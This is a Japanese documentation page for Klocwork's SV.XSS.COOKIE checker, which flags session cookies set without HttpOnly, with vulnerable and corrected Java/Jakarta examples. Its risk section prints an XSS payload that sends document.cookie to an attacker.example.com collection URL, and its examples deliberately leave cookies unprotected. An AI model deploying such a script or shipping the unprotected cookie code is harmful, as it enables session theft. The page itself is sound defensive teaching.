SV.XSS.COOKIE

setHttpOnly フラグのない機密性の高いクッキー

クライアントの Web サイトとの対話に関するセッション ID の格納に使用されるクッキーは、クライアントが行うリクエストを検証できるようになりますが、setHttpOnly フラグを設定せずに HttpServletResponse オブジェクトにそれが追加される場合に、Klocwork は SV.XSS.COOKIE の欠陥を報告します。

リリース 2023.2 の時点で、このチェッカーは Jakarta EE をサポートしています。

脆弱性とリスク

クロスサイトスクリプティング (XSS) を実行できる攻撃者は、次のような悪意のあるスクリプトを挿入する可能性があります。
コピー
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
クライアントがこのスクリプトをロードして実行すると、攻撃者が制御する Web サイトにリクエストを行います。その後、攻撃者はそのリクエストをログに記録し、クッキーを盗むことができます。

軽減と防止

HttpOnly フラグは、互換性のあるブラウザーに、クライアント側のスクリプトがクッキーにアクセスするのを防ぐように指示します。Set-Cookie HTTP 応答ヘッダーに HttpOnly フラグを含めることは、攻撃者のスクリプトコードがクッキーの内容を読み取って盗み出そうとするような、XSS に関連するリスクを軽減するのに役立ちます。設定されている場合、そのフラグをサポートしているブラウザーは、XSS を使用して実行される第三者のクライアント側スクリプトに、クッキーの内容を公開しません。

脆弱コード例 1

コピー
   import javax.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork は、5 行目で SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのないクッキーでの攻撃の可能性」を示します。これは、応答に追加する前に setHttpOnly フラグが cookie で設定されていないためです。

修正コード例 1

コピー
   import javax.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

5 行目で setHttpOnly フラグが cookie に設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE の欠陥を報告しなくなります。

脆弱コード例 2

コピー
   import jakarta.servlet.http.*;
   
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(false);
   response.addCookie(c);

Klocwork は、6 行目で SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのない cookie での攻撃の可能性」を示します。setHttpOnly メソッドが呼び出されていますが、5 行目で false として設定されます。

修正コード例 2

コピー
  import jakarta.servlet.http.*;
  
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setHttpOnly(true);
   response.addCookie(c);

5 行目で setHttpOnly フラグが cookie に設定されているため、Klocwork は 6 行目で SV.XSS.COOKIE の欠陥を報告しなくなります。